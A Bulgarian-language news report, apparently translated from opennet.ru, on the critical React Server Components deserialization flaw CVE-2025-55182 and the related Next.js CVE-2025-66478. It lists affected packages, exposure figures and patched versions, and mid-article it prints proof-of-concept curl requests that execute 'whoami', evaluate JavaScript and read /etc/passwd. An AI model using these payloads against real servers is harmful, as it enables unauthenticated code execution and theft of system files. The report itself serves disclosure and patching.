В компонентите на сървърната част на web-фреймворка React (RSC, React Server Components) е отстранена уязвимост (CVE-2025-55182), която позволява чрез изпращане на заявка към сървърен обработчик да се изпълнява произволен код на сървъра. Уязвимостта е оценена с критично ниво на опасност (10 от 10). Проявява се в експерименталните компоненти react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack, които се използват за изпълнение на функции и за създаване на интерфейсни елементи на сървъра, а не на клиентската страна.
Проблемът е причинен от небезопасна десериализация на данни, получени в HTTP-заявки към сървърни обработчици. Обработчиците «vm#runInThisContext», «vm#runInNewContext», «child_process#execFileSync» и «child_process#execSync» могат да се използват за стартиране на команди в системата или за изпълнение на JavaScript код в контекста на текущия процес (с заобикаляне на sandbox-изолацията). Също така е възможно използването на обработчиците «fs#readFileSync» и «fs#writeFileSync» за четене и запис на произволни файлове на сървър, в зависимост от текущите права на достъп. За атаката не е необходимо преминаване на аутентификация. Достъпен е прототип на експлоита. # Изпълнение на командата whoami curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»child_process#execSync»,»bound»:[«whoami»]}’ # Изпълнение на JavaScript кода 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»vm#runInThisContext»,»bound»:[«1+1»]}’ # Четене на файла /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»fs#readFileSync»,»bound»:[«/etc/passwd»,»utf8″]}’
Податливостта на системите на уязвимости зависи от използването на уязвимите сървърни компоненти react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack. Приложения, които не използват react-server, не са засегнати от уязвимостта. Степента на покритие на уязвимостта на работещите системи, в които се използва React, все още не е ясна. От една страна, React е един от най-популярните web-фреймворкове (използва се на около 6% от уебсайтовете), а уязвимите компоненти се развиват основно в репозитория и са част от изданията. Уязвимите компоненти също се поддържат в рамките на React-базирани фреймворкове, като Next.js и react-router. Според данни от компанията Wiz Research, уязвимите инстанции са открити в 39% от анализираните облачни среди.
От друга страна, генерирането на съдържание на сървъра чрез React Server Компонентите не са често използвана функция (повечето React сайтове генерират интерфейса само от страна на клиента), а уязвимите компоненти са обозначени като експериментални и не гарантират коректна работа. Тези компоненти имат относително малък брой директни изтегляния от хранилището NPM: react-server-dom-webpack — 670 хиляди седмично, react-server-dom-parcel — 7 хиляди и react-server-dom-turbopack — 32 хиляди. За сравнение, NPM пакетът React има 45 млн. изтегляния седмично.
Уязвимостта присъства в версии React 9.0.0, 19.1.0, 19.1.1 и 19.2.0, и е отстранена в актуализациите React 19.0.1, 19.1.2 и 19.2.1. Уязвимите компоненти също се използват в пакетите Next.js (16 млн. изтегляния седмично), react-router (20 млн. изтегляния седмично), waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.
В рамките на фреймворка Next.js уязвимостта (CVE-2025-66478) засяга приложения, които използват App Router и версиите Next.js 15.x и 16.x. Отбелязва се, че уязвимостта се проявява в конфигурацията по подразбиране на Next.js (стандартното приложение, генерирано от утилитата create-next-app, е подложено на атака). На потребителите се препоръчва възможно най-бързо да инсталират актуализация за Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.
Източник: opennet.ru
